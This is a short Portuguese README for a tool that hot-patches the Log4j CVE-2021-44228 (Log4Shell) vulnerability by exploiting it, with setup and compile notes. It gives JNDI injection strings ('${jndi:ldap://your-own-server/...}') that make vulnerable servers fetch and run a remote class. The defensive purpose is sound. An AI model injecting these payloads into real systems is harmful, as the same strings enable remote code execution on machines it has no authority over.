cve-2021-44228-qingteng-online-patch

O que é isto

Hot-patch CVE-2021-44228 explorando a própria vulnerabilidade.

Como usar

Injete o seguinte código em qualquer lugar provavelmente vulnerável ao CVE-2021-44228,

${jndi:ldap://your-own-server/patch}

Para evitar ataque MITM durante o processo de patch, o seguinte payload é recomendado, mas com menor compatibilidade para versões antigas do Java,

${jndi:ldap://your-own-server/any_string_except_patch}

Execute seu próprio servidor

1. Baixe a última versão

2. Especifique as variáveis de ambiente do sistema LOG4J_HOTFIX_HTTP_PATH e LOG4J_HOTFIX_HTTPS_PATH se você quiser hospedar o Hotfix.class em seu próprio servidor

Compilar

Observe que o Hotfix.java deve ser compilado com JDK6 para máxima compatibilidade.